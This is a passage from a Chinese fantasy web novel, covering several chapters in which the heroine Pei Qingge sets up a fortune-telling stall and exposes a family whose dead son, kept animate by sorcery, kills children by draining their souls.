跟到了一处废弃的宅院后,她就跟丢了,又在偌大的宅院里迷了路,寻路的时候,误入一间偏房,碰上一个浑身是血的女人。 原主和丫鬟救了这女人,那女人说自己被仇家追杀,不让她声张,原主便每日偷着给她送药和吃的。 数日后,那女人的伤势恢复,说与原主有缘,又说原主要大祸临头,她能帮原主逃过死劫,但也要多少受些苦。 记忆到了这,又断了。 裴清歌的身体微微有些颤抖,那女人…… 竟是师父! 师父五年前从北冥国消失,三年前重伤在洪都出现! 她竟然真的在天风国! 所以原主关于这件事的记忆被抹除,以及这块虚空玉,应该都是师父所为。 她重生后术法低微,才一直没有发现。 这虚空玉外面是一层禁锢的法阵,她现在还是没办法解开。 看样子她之所以现在就能发现虚空玉,大概率是那天血莲护主的时候,冲开了隐匿虚空玉的法阵。 每一个虚空玉,都可以封印一样东西。 在北冥国的圣殿里,有一面墙上,满满的都是大大小小的虚空玉。 那是这么多年来,圣女们所封印的东西,有的是不该出现于世的东西,有的则是出现会带来无数纷争的奇珍异宝。 不知道师父的这枚虚空玉里封印的是什么。 可想要解开这上面的禁制,恐怕至少也得回到她能力的巅峰时期。 裴清歌把虚空玉收进香囊,贴身放好。 起码她现在知道,师父真的在天风国出现过。 她和原主说她被仇家追杀,仇家会是谁呢? 这世上能让师父重伤的人,可不多,但也难保师父像是她一样被人暗算。 只不过不管怎么样,那也一定经过一场血战,而且血战的地点应该离那废弃的院子不远。 裴清歌咬了咬唇,有机会得去一趟洪都,在那处废弃的宅院也许能找到蛛丝马迹! * 第二日,裴清歌让左辞找了一辆极普通的破旧马车,停在王府的后门,她也是乔装成了一个年轻的男子出了门,“别人若是问起,你就说我是你远房表弟,别的一律不要多说。” “王妃,你的腿好啦?”左辞看着裴清歌利落的上了马车,无视了她刚才的话,直接开口问道。 他其实早就猜到裴清歌的腿伤已经好了,毕竟她的医术那么厉害,怎么可能治不好自己的腿? 裴清歌转头看向他,“你是不是不想跟我去?” 左辞有点为难,“那属下这样算不算没大没小?” “……”裴清歌懒得搭理他,放下了马车帘子。 左辞跟着白锦夜回京也没有多长时间,他又基本上呆在王府哪也不去,见过他的人也不算多。 小心一点,这身份还是能隐瞒一段时间。 左辞赶着马车,向车里面问,“王……表弟,咱们就去那字画店门口坐着?就能有钱送上门?” “当然不能,你见过天上掉馅饼的么?”裴清歌笑了笑,“我看了你的八字,你命里有两个财库,而且都已经开库了,是能赚大钱的命格,你就把心放肚子里吧。” 左辞没再说话,反正裴清歌要做什么,他陪着就好了。 到了字画店前,他跟老板借了桌子椅子,裴清歌又跟老板借了纸笔,写了一副对联。 上联:大笔断阴阳,下联:狼毫斩五行。 字画店老板也是闲着无事,跟左辞一起看裴清歌写字。 左辞看完,忍不住问,“王……表弟,这是什么意思?” 裴清歌放下笔,慢慢地解释道,“人生五行,外加阴阳二气,组成了一个活人运势的全部。但凡五行和阴阳之气越来越弱,人的运势就会变低,随之便会有厄运临头,更有甚者命不久矣。” “提前预知运势走向,就可以趋利避害。” “那你快给我看看我现在的运势怎么样?”左辞还没说话,字画店的老板就已经开口问道。 裴清歌瞥了他一眼,“你还哪有什么运势?能活着就已经是万幸了,我若是没看错,你这店虽然经营三代,最多也不过就十来年而已,你爷爷和父亲,如今可安好?” 字画店老板被拆穿说辞,脸色有些尴尬。 这店是他爷爷与人打赌,对方输了钱但没钱给,就把店抵押给他爷爷了。 他爷爷年轻时有收集字画的爱好,因此也就开了家字画店,又添置了些字画,算是把店面给撑起来了。 但店开了没多久,他爷爷就醉酒后跌到湖里淹死了。 他父亲接手店面后,过了三五年的光景,在店里睡了一觉就中风了,至今口眼歪斜,生活不能自理。 之后就是他了…… 看着老板的脸色,裴清歌也不用等他的回答,“我买下这店,可是救你一命。” 那老板干笑两声,“六千两,已经是最低价了,真的不能再少了。” 裴清歌本也不是在讲价,话不投机,她轻轻摇了摇头,让左辞找了两个竹竿,把对联挂好,就在椅子上坐下了。 左辞一开始在她旁边站着,看着裴清歌在纸上写写画画,写的东西他也看不懂,写完一张,就旁边一边的铜盆里烧掉。 这看得他昏昏欲睡,又跟老板借了个小板凳,就在一边坐着撑着头打瞌睡。 瞌睡到太阳偏西,左辞才擦了擦口水,“表弟,天快黑了。” “收摊,回家。”裴清歌伸了个懒腰站起身。 左辞默默的收起了东西,赶着马车带裴清歌回王府。 他一连跟着裴清歌去坐了三天,实在是无聊,而且他也不能总是不在王府,于是第四天就让钟栖陪着裴清歌去坐着了。 又过了三天之后,左辞决定去找司空凑钱。 甚至于钟栖都打算给岐风王写信要钱了。 直到第七天快收摊的时候,终于来了个人,他一副激动得快要哭了的模样,看着裴清歌就像是看到了救命稻草,就差跪下了,“先生,我可找到你了!” 第59章 这种事情要多少钱合适? 这场面给正准备收摊的钟栖都看傻了。 裴清歌倒是不惊讶,就像是一切理所应当一样,只是说,“慢慢说。” 钟栖赶紧把自己的小凳子搬过去,放在裴清歌对面,那人坐在了椅子上,长长地喘了一口气,才慢慢开始讲。 来人是当朝丞相黄维贤黄家的杨总管。 事情还要从半个月前的七夕节说起。 当天正赶上黄维贤休沐,于是就带着一大家子到了城外的别院。 偏巧当时有一家三口外乡人来借宿,黄维贤向来与人为善,就留下了他们,让人带到厢房去休息。 诡异的事情,就发生在当天夜里。 那家人带了个七八岁的男孩子,傍晚的时候,就跑出来跟黄家的孩子一起玩。 后来听这些孩子的描述,那男孩跟他们说,在他的家乡,有个传说,七夕节这一天晚上,没尿过床、没撒过谎的小孩子,蹲在槐树下,能从铜镜里看到牛郎织女鹊桥相会。 这鹊桥相会是民间传说,小孩子们都听过,但是没见过,听着新奇,就跟着那男孩跑到别院角落的一棵槐树下,围起来轮流看铜镜。 小孩子们都不愿意承认自己尿过床、撒过谎,于是轮到自己的时候,就纷纷说看见了。 直到铜镜传到黄维贤的一个庶孙手上时,那孩子一下子就把铜镜给扔了,吓得哇哇大哭,说他看到铜镜里的自己没有眼睛。 当时小孩子们就一起嘲笑他一定是尿过床或者撒过谎,才看不到牛郎织女。 可是第二天,那庶孙就被发现死在槐树下,脸瘪瘪的塌了下去,只剩下一张皱巴巴的皮糊在脑壳上。 隔了两天才有个年纪稍稍大点的孩子,无意间把七夕节那天晚上的事情说了。 大人一听,就觉得这事有蹊跷,本想找那一家三口问清楚这是什么传说,但那一家三口第二天早上就已经辞行,根本不知道去哪了。 若是事情就这么完了也就算了,可就在那天晚上,又一个看过铜镜的孩子死了,死时的样子和那庶孙一模一样。 黄家这才慌了神。 所有人什么都不做了,就守着家里的孩子。 只是隔了几天,有个孩子走路摔了一跤,家人赶紧去扶,可扶起来才发现脸已经瘪了,人已经没气了。 这些日子黄家人拜佛求神,能想的办法都想了。 五天前,黄家人齐齐做了个梦,梦里有人告诉他们普宁街上有人能救他们。 一开始谁也往心里去,直到昨天傍晚,又一个孩子死了。 黄维贤才想起这个梦,一说之下,发现家人里都梦到过同样的事,这才让杨管家来普宁街看看。 杨管家从街头走过来,碰着个店碰着个人就去问,一直问到天都快黑了,才见到裴清歌这个摊子。 他看着这副对联,直觉应该就是这里了。 裴清歌听完也不诧异,只是看向站在一旁,听得下巴都快掉在地上的字画店老板,“老板,天快黑了,你不关店回家么?” 字画店老板这才回过神来,只觉得脊背发凉,转头往店里看了看,他刚才听到声音就出来听故事,店里也没掌灯,这会看去,不知道是不是听了故事的缘故,竟觉得店里有些阴森。 他咽了口口水,“那我就先回家了,你们一会放桌子椅子的时候记得帮我锁门。”顿了下他又补充,“这店马上就是你们的了,里面的东西可也都是你们的,你们要是不锁门,丢了东西别找我,锁就在柜台上啊。” 说完字画店老板就缩着脖子跑了。 裴清歌这才看向杨管家,“如今黄家的人,都在城内?” “是。”杨管家点点头,“黄府就在大通街上,咱们现在过去看看?” “天色已晚……” 裴清歌的话还没说完,杨管家就“噗通”一声跪在地上,“求你救救黄家的这些孩子吧,老爷说了,不管是要钱还是要什么,只要黄家有的,全都给,黄家可不能绝后啊!” “我没说不救,你起来听我把话说完。”裴清歌有些无奈。 这几天,她并不是什么都没做,每天都遣了游魂出去看哪里有邪门的事情发生。 若是有的话,就夜里入梦,叫那家人家来普宁街上找她。 她知道会有人来,但没想到等到第七天才有人来。 甚至于黄家的事情都闹得这么大了,他们一开始还没把那梦当回事。 也不知道该说是心大还是见识少。 “按照你的说法,这些孩子是第一天、第三天、第七天和第十四天出事的,所以眼下这两天肯定没事,你暂时不用担心。” “事情发生在黄府别院,我现在跟你去黄府也没用。” “天黑了,城门也要关了,今晚肯定是去不了了。” “明日辰时一刻,还是这里碰头,咱们一起去黄府别院。” “今晚应是无事,但你们若是实在不放心,就找些艾叶挂在门窗上。” 听着裴清歌说完,杨管家的脸色终于微微有些好转,但还是不放心地向她确认道,“真的么?今晚真的不会出事了么?” “嗯。”裴清歌点点头,“放心吧。” 杨管家依旧迟疑,“明日辰时一刻?” 裴清歌又点点头,“赶紧回去吧,看你眼底乌青,这些日子应该也没好好休息,今晚放心睡觉。” 杨管家看着她一脸淡然的模样,知道今日也只能如此,他站起身,又问,“那我要不要先交些定金?” “不用。”裴清歌说着也起身收东西。 杨管家也怕自己再啰嗦下去讨人厌烦,既然已经找到人,也该回去复命了。 钟栖往店里搬桌椅,他跟裴清歌不熟,但这种事他是第一次听说,没忍住,就问,“艾叶真的有用?” “没什么用。”裴清歌直接摇头,“不说点什么,他们今晚不会安心的。” “那这到底是什么东西?专吃小孩脑子?”钟栖又问。 “去看看就知道了。”裴清歌微微眯了下眼,顿了顿,反问钟栖,“黄丞相家有钱么?这种事应该要多少钱比较合适?” 钟栖脸色有点尴尬,“听说黄丞相两袖清风,应该没有多少钱,肯定是没有六千两的。” “我也没打算在一只羊身上拔毛。”裴清歌想了想,“六百两总有吧?” “难。”钟栖摇了摇头。 裴清歌顿时垮了脸,“刚才杨总管说得那么大义凛然,我还以为他家多有钱。哎,开门第一单生意,就当积德吧。” 第60章 牵魂蜮 第二天辰时一刻,钟栖就跟裴清歌到了字画店门口。 杨总管等得脖子都伸得老长,他身边还站着一个看着年纪三十岁上下的男子。 那男子虽然没像杨总管一样四处张望,但眼底的焦急却也掩藏不住。 见裴清歌一到,杨总管脸上总算是露出一抹喜意,“大少,就是这位了。” 黄恒之见裴清歌顶多十八九岁的模样,眼底略过一抹迟疑,但还是上前一步,双手作揖,“在下黄恒之,父亲特意嘱托我陪先生去别院。” 他是黄维贤的嫡长子,十八成婚,可直到二十五才得了一子,宝贝得不得了。 他这五岁的儿子七夕那日也和其他人一起看了铜镜,虽然眼下还没事,但谁知道下一个会不会轮到? 虽是急得不得了,但出身书香门第,带着这丝儒雅气,多少还比杨总管沉稳不少。 裴清歌点点头,也没下马车,只说,“那你们在前面带路吧。” 黄恒之本来还担心少不了要寒暄一番,或者先讲好价钱,没想到这就要出发了,也不敢耽搁,立刻上了黄家的马车。 黄家别院在城东二十里的地方,差不多一个时辰后才到了别院。 别院本来是有管家和下人打理的,但自那日的事发生后,别院的下人觉得瘆得慌,都纷纷找理由辞工或者称病告假。 现在别院也没什么人,只能是杨总管开锁开门,在前面带路。 裴清歌先是去了那一家三口住的厢房转了一圈。 “哎,他们走的时候,还不知道出了事,下人都已经把房间打扫干净了。”杨总管站在一边开口道。 裴清歌没说话,拿出一道符,夹在指尖,在房间里慢慢地走着,走到某个位置的时候,符纸突然自燃。 杨总管没有防备,吓得尖叫了一声。 惹来其他三人的注意后,才窘迫地擦了擦额角的冷汗,“先生这本事好厉害。” 裴清歌甩了甩手,把符纸扔到地上,“走吧,去槐树那边看看。” 见到刚才那一幕,杨总管和黄恒之心里多少有了底儿,就赶紧继续带路。 槐树就在整个别院的西北角,很大的槐树,看着起码要三四个成年人才能围抱住。 裴清歌仰头看着槐树,眉心慢慢地皱在一起,“一般都不会在住宅内养槐树,为什么你们家后院会有这么大一棵槐树?” “建别院之前,这槐树就在这了,父亲说着槐树定是生了多年,不忍砍伐,而且也不影响什么,就留着了。”黄恒之答道。 裴清歌无奈地摇了摇头,“人多庭前养槐树,门前有槐,升官发财,倒还是件好事。可从方位上来说,西北角属阴,把槐树养在这里,本就招鬼,大晚上的在槐树下照镜子,不见鬼才怪。” “那……”杨管家看了看黄恒之,又看向裴清歌试探地问道,“那把这棵树伐了?” “伐了吧。”裴清歌摆了摆手,“不然这树在西北角聚阴,时间久了,于宅主不利,会影响家运。但这次的事,和这棵树没有关系,是那一家三口的问题。” “还真是他们的问题!”黄恒之的手握成拳,“他们一家三口傍晚投宿,父亲好心收留他们,见有个孩子,还特意吩咐了厨房做些好吃的给送去,没想到他们竟这样害人!” 顿了会,他才平复了下心中怒气,开口问道,“那要如何解决?那日事后,父亲已经派人在找那一家三口了,但是那就是普通的一家三口,甚至连什么特点都没有,就是听下人说,那孩子好像是特别渴,一直在喝水。已经找了半个月,完全没消息。” 裴清歌看着某个方向,微微皱起眉头。 杨管家见状赶紧扯了扯黄恒之的袖子,又对他比了个钱的手势。 黄恒之赶紧从袖袋里拿出几张银票,“先生,无论如何,也请你帮帮我们,这是一点小心意,若是不够……你……尽管开口。” 裴清歌回过神来,瞥了一眼,也不过就是几张十两的银票,她无声地叹了口气,这笔生意确实是赚不了什么钱了,“银票你先自己收着,事情解决了再给。” 钟栖站在一边看着裴清歌一脸“世外高人、不把钱财放在眼中”的模样,内心也是叹了口气,还不是嫌钱少?距离六千两差的太远,几十两就显得可有无可了。 黄恒之没敢把钱收回来,只是问,“这一家三口会不会很难找?” “不会。”裴清歌一边往前院走,一边开口道,“那孩子已经不是个活人了,很好找,人应该是进城了,咱们也回去吧。” 黄恒之追在裴清歌身边,“那孩子不是活人了?可是来别院的时候,活蹦乱跳着呢。” 裴清歌皱了下眉,看着往前院走的路还挺长,就随口解释道,“人活着,身体里有阴阳二气保持平衡,人死了,魂魄离体,阳气散尽,但却会有念力跟阴气保持平衡。” “二者会逐渐相互抵消,最后消失不见。但若是阴气被夺走,或者念力残缺,剩下的部分就会变成蜮,你可以把它理解成一种怪物。这种怪物不会消失,反而会去寻找残缺的部分。” “而它残缺的东西,正好是活人身上有的东西,所以就会吸食活人的阳气、阴气或者念力。” “那孩子应该是早就死了,不知道父母用了什么办法把他留住,久而久之,成了牵魂蜮。本来就是小孩子,看到其他的小孩子自然就想一起玩,最后忍不住吸食自己需要的东西。” 跟在裴清歌身边的三个人听得云里雾里,好像听懂了,又好像还是什么都不知道。 黄恒之听完之后,得出了一个结论—— 黄家的孩子这是有救了。 走到别院门口,正要上马车,便见几个人骑马过来。 裴清歌微微侧过身,假装没看见,但对方却停了马。 左辞昨晚就听钟栖说了,本来今早是想跟裴清歌一起来涨见识的,哪知道他满脸都写着不想跟白锦夜来军营,白锦夜就像是看不见一样。 既然偶遇,他总得来问问,于是隔着老远就喊了一声,“表弟!” * 这是细心的作者从百度百科上搬来的解释: 蜮:在汉族传说中是一种在水里暗中害人的怪物,口含沙粒射人或射人的影子。被射中的就要生疮,被射中影子的也要生病。 鬼蜮:指害人的鬼和怪物,后比喻阴险的人,因鬼与蜮都是暗中害人的精怪。《诗·小雅·何人斯》:“为鬼为蜮,则不可得。” 牵魂蜮由此引申而来,不必细究哈哈哈哈哈。 第61章 王爷不自己反省下么? 裴清歌暗暗翻了个白眼,才看向他,“表哥出城办事?” 听了两个人的称呼,白锦夜的脸黑了黑,没再上前。 “我陪王爷去军营。”左辞说这话的时候,脸上不情不愿的,王爷这几天不知道怎么了,前段时间军营的事都交给了司空,也不去上朝,整个人丧得不行。 这几天突然就勤奋了,早起上朝,听说这几日在朝堂上没少怼人。 下了朝,回府用过早点,就去军营亲自训兵。 王爷可比司空严苛多了,军营的人也都跟着叫苦不迭。 左辞说完张望了下,“事情解决了?” “还没有,不过有了眉目,正准备回城,估摸着午饭之前就解决了。”裴清歌开口道。 左辞这下更难过了,他只能回去听钟栖给他讲了,正要继续说什么,就听身后白锦夜不快的声音传来—— “跟你‘表弟’的家常拉完了么?” 左辞垮了脸,不敢再多说,翻身上马就跟白锦夜走了。 走了一段,白锦夜转头看了眼裴清歌的身影,才看向左辞,“她的腿好了?” “是啊。”左辞兴致缺缺,“王妃医术那么好,什么治不好呢?说不定脸也治好了,就是不想给别人看。” 白锦夜微微眯了下眼,想到那天入宫赴宴的时候,裴清歌说是易了容,但是能易容到以假乱真,会不会……确实那才是真的? 左辞想着一会到了军营,王爷和司空去练兵,他因为之前的旧疾,也就只能坐在帐篷里等王爷,他心里更加堵得慌,于是也忍不住给白锦夜添堵,“王爷,你就非得和王妃装作一副不认识的样子么?” “怎么,本王该认识你的‘表弟’?”白锦夜斜晲他。 左辞哑言,半响才嘀咕道,“还不是因为王妃不愿意承认自己是肃亲王妃,王爷不自己反省下么?” 声音不大,恰好让白锦夜听到而已。 “左辞。”白锦夜拉了拉缰绳,“本王总感觉你的伤好了,那些兵训着无聊,不然今天练练你和司空?” 左辞干笑了几声,“王爷前几天不是刚交给属下很重要的事情去办么?万一属下受了伤,耽误了正事怎么办?” “查到什么了?”白锦夜接着话头问。 左辞抿了抿唇,“前两日,衡王府的人全都上吐下泻,府医没办法,太后派了太医去也束手无策,最后……是陆神医帮了忙,衡王如今把陆神医奉为上宾。” “至于裴玲珑,三年前洪都的事,跟她大概有些关系,属下派去洪都的人还没回来。” 白锦夜微微眯了眯眼,顿了顿,又问,“你觉得裴清歌如何?” “王妃?王妃挺好的,会医术,还知道很多很高深的事情。”左辞的眼睛一下子就放了光,“快要治好张太妃了,也救了王爷你的命,可是咱们王府的大恩人。” 白锦夜眉头皱的更紧,他以前觉得左辞是能很快理解自己的问题的,自从他“迷上”裴清歌之后,感觉整个人都变傻了。 于是他只能把自己问题翻译一遍,“本王的意思是说,你觉得裴靖何德何能,能培养出这样的女儿?” “是啊。”左辞挠了挠头,“所以大概这就是裴靖更偏爱裴玲珑的原因吧。” 白锦夜叹了口气,翻译得更详细,“你觉得是谁教裴清歌这些的?” 左辞眨了眨眼,“那很重要么?管他是谁教的,反正王妃是咱们的人啊。” 白锦夜,“……”一扬马鞭,迅速的往前跑了。 左辞觉得王爷真是莫名其妙,一会到了军营,反正有司空陪着,他找个借口回城就是了,说不定还能赶上裴清歌那边的事情收尾。 * 裴清歌指挥着钟栖,走走停停,最后到了大通街不远的一处窄巷。 窄巷里已经进不了马车,四人只能下来步行。 巷子里有些脏乱,乞丐也不少。 “大通街还有这种地方?”钟栖有些诧异。 他虽然常年和岐风王在外地,但京中的大通街可赫赫有名,这条街上住的基本都是达官显贵。 “哪里没穷人呢?”黄恒之叹了口气,看着乞丐可怜,想给点银子,但身上没带碎银,银票又是要付给裴清歌的钱,也就只能忍下了。 裴清歌走在最前面,走了差不多三分之二个巷子,才停了下来,指着不远处蹲在树下玩水的孩子问,“你看看,是不是那个男孩子?” 黄恒之根本没见过那一家三口,只能看向杨管家。 杨管家也一样没见过,隔了半天才说,“是别院的管家领进门的,就说是个七八岁的男孩……” 钟栖忍不住冷笑,“怪不得这么多天都找不到人,就算送到眼前,你们不一样不认识?” 黄恒之脸色窘迫,“只是借宿,确实没太注意那一家三口。” 裴清歌往前走了几步,弯腰看着那孩子,“这位小哥,我们几个路过这里,口渴了,能去你家讨碗水喝么?” 那孩子听到有人跟自己说话,就抬起了头。 他低着头不要紧,这一抬头,吓得黄恒之当场就背过气了! 那脸上平平坦坦,连五官都没有! 杨管家也是吓得双腿一软坐在了地上,见黄恒之晕了,又哆哆嗦嗦的去给他掐人中。 饶是钟栖见多识广,也还是吓得后退了好几步。 裴清歌脸色未变,只是笑眯眯地看着那孩子,又问,“你一个人么?你家大人呢?” 她话音刚落,旁边的院子里迅速的冲出来一个男子,一把抱起孩子,把他的脸按在自己的肩头,警惕地看着裴清歌等人,“你们是什么人?想要干什么?” 裴清歌直起身子,收起了脸上的笑容,“人死了,就该入土为安,早入轮回,也早得解脱。强留已死之人,不仅害了活人,这已死之人魂魄消散,逐渐残缺不全,以后轮回都入不了了。” “我不懂你在说什么。”男子说完就抱着孩子要走。 “还想走么?”裴清歌见他执迷不悟,冷哼一声,一道符咒甩出去! 第62章 我只管死人的事,活人的管不了 男子听了裴清歌的话,脚步不仅没停,反而快步跑起来。 但他的速度怎么赶得上符咒? 符咒又快又准地直接贴在了孩子的头上,那孩子瞬间一动不动了。 男子也就停下了脚步,转身狠狠地瞪着裴清歌,“我们与你无冤无仇,你为什么要这么对我们?” “黄家也与你们无冤无仇,他们家的孩子就该死么?人家好心收留你们过夜,你们就这样恩将仇报?”裴清歌盯着他。 男子的表情有些复杂,隔了半响才说,“我们只想去别院借宿,谁知道……他们的别院里会有那么多小孩子?只是一个不留神,轩轩就跑出去了,我们发现之后,就赶紧带他回来,第二天一早就离开了,哪知道……” 他顿了顿补充,“只能怪他们家运气不好,若是那天他们家没带孩子去别院,就什么事都不会发生了。” “自己为祸人间,还怪别人运气不好?”裴清歌冷笑一声,“那遇上我,也算是你们运气不好了。” “我警告你不要多管闲事。”那男子脸上闪过一抹阴狠的表情。 院子里又有一个女子冲出来,她看了眼孩子的情况,一下子就跪了下来,“求求你们放过我们吧,我们这就走,这就走!” “走?能走去哪呢?”裴清歌看着她,“你们这一路走过来,想必也没少害人,是不是哪个地方都呆不久?闹出了人命就赶紧跑?” 男子把孩子往女子怀里一推,“你带着轩轩走,我拦住他们。” “谁也别想走了。”裴清歌的话音落下,钟栖就当先冲了出去。 他这也是听明白了,这一家三口身上不知道背了多少条人命! 男子哪是钟栖的对手,被他一脚踹在心口,倒飞出去,落在地上喷出了一口血。 女子哭着扑到他身边,把孩子放在了地上,抬手拉住他的手,转头看向裴清歌,“你就杀了我们吧,我们三个就是要永远在一起,既然已经没有活路了,那就一起死吧!” 裴清歌往前走了几步,“是谁教你们这么做的?” 女子摇着头,“恩人的大恩大德我们没齿难忘,就算是死,我们也不会透露恩人的行踪。” 裴清歌手上捏了个印诀,那孩子一下子从地上站起身,直愣愣地朝她走过来。 “轩轩,轩轩。”女子一把抱住孩子,但孩子的力气极大,挣扎着往裴清歌的方向走。 “你们不说,也没有关系,这孩子可以带我去找他。”裴清歌看着这一对夫妻,慢慢地说道,“只不过到时候,恐怕你们一家三口,也没办法死在一起了。” “那人在彭城!”倒在地上的男子擦了擦嘴角的血,支起身体,“但他长什么样,是男是女,我们一概不知,在彭城城外,往西走四十里的流霞山上,山顶有一处断崖,断崖前有个茅草屋,他就住在那。” “勇哥!”女子转头看着他,语气带着责备。 男子看了她一眼,又看向裴清歌,“不过我们见到他也是一年多以前了,他现在还在不在那,我们也不知道了,他当时说我们以后不要再回去找他,你若想找他,我也就只能告诉你这些了。” 裴清歌停了手,那孩子也就在原地停下。 女子抱着孩子重新回到男子的身边,“勇哥,你为什么要告诉她?我们不是答应了恩人什么都不说的么?” 男子抬手擦了擦她脸上的眼泪,低声道,“我们不是他们的对手,恩人法术高强,他们去了也是自讨苦吃。” 女子皱了下眉,才点点头。 男子这才看向裴清歌,“你要知道的我已经告诉你了,现在就给我们个痛快吧。” “我只管死人的事,活人的事管不了。”裴清歌说着顿了顿,“剩下的事,害了多少人命,去跟官府交代吧。” 黄恒之已经幽幽转醒,杨总管和钟栖两个人扭送这两人一尸去衙门,他则是赶紧去找黄维贤通报。 涉及到黄家,京兆尹不敢拖延,黄维贤到的时候,刚好开堂。 路上黄恒之已经尽自己所能来描述整件事了,但这件事实在太匪夷所思,黄维贤甚至都觉得是不是最近家里发生的事情太多,刺激得他脑子出了什么问题。 到了堂上,黄维贤亲眼见到那没有五官的孩子的时候,纵是早有准备,也还是吓得脸色一白。 钟栖跟着裴清歌站在一边听审。 京兆尹沈致远听得是胆战心惊的,这简直是闻所未闻,他甚至都不知道该怎么判,犹豫了半响,他才看向黄维贤征求意见,“丞相,你看……若是按照堂上供述,那害人的是这孩子,可这孩子都死了,这……这该怎么判?” “这……”黄维贤也犹豫了下,按说这对夫妻他根本不想放过,可沈致远说的也没错,害人的毕竟是孩子。 而且黄家死了人,他现在说话,必然是有失偏颇。 顿了顿,他才说,“老夫如今算是告人者,沈大人该怎么判就怎么判?” 裴清歌瞥了钟栖一眼,钟栖会意,开口道,“就算他们没有自己去害人,但是他们明知道这事的后果还去做,甚至不加阻拦,任由事态发展,就是帮凶!” “是啊。”黄恒之也回过味来,“是他们把这孩子变成怪物的,谁家没有去世的亲人?谁家亲人去世不会伤心难过?人死不能复生,他们偏偏要逆天而行,这是要遭天谴的!就算死罪可免,也活罪难逃,请沈大人做主!” 左辞费劲了口舌,想跟白锦夜告假。 最后虽然没给,但白锦夜却说要回城。 回城之后,他也没说要回府,恰好听说京兆府这边开堂,审一个什么死人害活人的案子的,左辞就试探地问白锦夜要不要来听听。 两个人刚到门口,便听到黄恒之这番说辞,白锦夜的脚步蓦地停了下来。 人死不能复生。 逆天而行,要遭天谴。 他的目光落在裴清歌的身上,她站在那,一脸淡然地看着面前的这幕。 那他现在算不算是她造出来的怪物? 第63章 得整把大的才行啊 白锦夜的手在宽大的袖袍下面握成拳头,没再往堂上走。 黄恒之说完也跪在堂上,“沈大人,黄家短短半月内就有四名孩童被害致死,按照他们所说,这孩子变成这样是一年多以前,那这一年多以来,因此丧生的孩童不知凡几!草民恳请大人,张贴告示,凡死状相同的孩童全都逐一统计,要给这些无辜枉死的孩童还有他们可怜的父母一个交代!” 沈致远点点头,“有道理,便暂且将这对夫妻收监,待确认被害死的孩童数量后,根据具体情况,再做定夺。” 师爷上前一步,低声询问,“大人,那这孩子的尸体……” “怪物害人,拿张草席裹了,扔到乱葬岗烧了!”沈致远一拍惊堂木。 “不!不!”女子抱着那孩子,“不能把我的轩轩带走,不能带走!” 裴清歌叹了口气,往前走了一步,“这孩子吸食了不少活人的阳魄,那些死了的孩子魂魄残缺不全,也没办法入轮回。无论大人怎么处理这尸体都好,阳魄得还回去。” 沈致远今天的认知一次一次的被刷新,“这……如何还回去?” 裴清歌没回答,只是看向那孩子,嘴唇动了动,念了一串无声的咒语,指尖掐了一道符,扔出去,那符纸在大堂的中间燃起一个火球,又瞬间消失。 堂上众人连带着看热闹的百姓一脸惊呆,等回过神来,才发现那本来只像是睡着的孩子皮肤开始慢慢变得紫黑,皮肉以肉眼可见的速度腐烂,最终竟变成一具白骨! “轩轩!轩轩!”女子哭着大叫,孩子在她的怀里变成白骨,她激动之下用力,白骨散了架,滚落在地。 女子一块一块的抓着骨头往怀里搂,“轩轩,我的轩轩!” 蓦地,她猛地抬头,凶狠地看向裴清歌,“你为什么要这么对我们?轩轩只是个小孩子!我们只想一家人在一起!你没有家人么?我诅咒你……诅咒你全家死光,断子绝孙!” 说完,她抱着孩子的头骨,起身冲向大殿的柱子,一头就要撞上去。 钟栖眼疾手快,上前一脚把她踹倒,“铸下如此大错不知悔改,就这么死了不是便宜你?” 眼见着差点血染公堂,沈致远脸色都变了,指挥着衙差,“赶紧赶紧把人收监,看牢了,不准他们寻短见!” 两个人被衙差拖下去,那女子不停的咒骂,男子虽然不再说话,可目光也是阴狠地盯着裴清歌。 裴清歌的眉心微微跳了一下,心头有一丝不太好的预感。 衙差也找了袋子,收了白骨,准备趁着中午赶紧去乱葬岗给烧了。 黄维贤这才走到裴清歌的身边,向她鞠了一躬,“大恩不言谢,这恩情老夫铭记于心。” 裴清歌侧身躲开他的大礼,咳了一声,“黄丞相不必多礼,收人钱财,与人消灾而已。” 黄恒之闻言赶紧从袖袋里又拿出那几张银票,递向裴清歌,“若是不够……” 裴清歌也懒得看,示意钟栖收起来,才说,“我初来盛京,跟你们算是有缘,这就当是你们的心意了,以后亲朋好友遇到什么麻烦事,看相算命,合婚看姻缘,批八字看阴宅阳宅风水的,多给介绍些生意就成了。” 说完就带着钟栖往外面走。 黄维贤一听就知道,给的这点钱,人家是嫌少了,但又不好卷了他的面子,只说是以后多介绍些生意。 此时再追上去给钱,就显得不知趣了。 不如回头就叫亲朋好友的多给送些生意,到时多给些钱,也就成了。 左辞看着本来似乎有些兴致的白锦夜,不知道为何听了会脸就黑了。 他正要问问怎么了,就见白锦夜转身拉着一张脸往王府走了。 哎,王爷如今这情绪可真是让人难以琢磨。 裴清歌和钟栖倒是没有回王府,他们往字画店门口走,身后跟了不少刚才在京兆府门口看热闹的百姓。 只不过跟到了字画店,也没见有人上门做生意。 裴清歌百无聊赖的坐了差不多一个时辰,突然就来了一大群人找她算命。 钟栖只好让大家排起了队。 还剩下两天时间,这六千两的一大半都没有着落,裴清歌也不说那些虚无缥缈的,专说最近几天发生过的事,以及即将发生的事。 比如昨天丢了一支簪子,但其实没丢,在家里床榻的缝隙里,回家好好找找。 再比如前天摔了一跤,虽然摔坏了腿,可却在路边捡到了一块碎银。这碎银最好不要花,送进庙里去做香油钱吧,不然过几天可能摔得更严重。 都是些七零八碎的琐事。 裴清歌一直看到天黑,也就赚了一百两银子。 钟栖小心翼翼的把小竹篮里的碎银都收好,心想这确实能赚钱,但就是有点慢。 裴清歌也扫了一眼,低声道,“得整把大的才行啊。” 回到王府,左辞已经等得迫不及待了,“王妃,你在堂上那一下好厉害啊!那是什么符咒,那么大个火球,吓属下一跳呢。” 裴清歌在袖子里摸了一把,摸出一张符,递给左辞,“用力甩出去,能甩多远甩多远。” 左辞小心翼翼地接过符纸,学着以往裴清歌指尖夹着符咒的模样,将符纸甩了出去。 符纸飞了一段,也突然燃起一团火,然后瞬间消失。 左辞傻傻地看着自己的手,“啊?属下……属下也会这个了?” “这都是给人看的。”裴清歌无语地摆了摆手,“你记得,但凡花里胡哨的东西,都是唬人的。” “也是啊,别的也看不懂,就这个记忆深刻。”左辞跟在她身边,“王妃,怎么样?今天赚了不少钱吧?” “别提了。”裴清歌叹了口气。 钟栖也对着左辞摊了摊手。 左辞摸了摸下巴,“王妃,属下倒是有个主意。咱们不如找个富商,你吓唬他一下,他肯定愿意花钱消灾。” 裴清歌皱起眉头,“我才不干这种下三滥的事。” 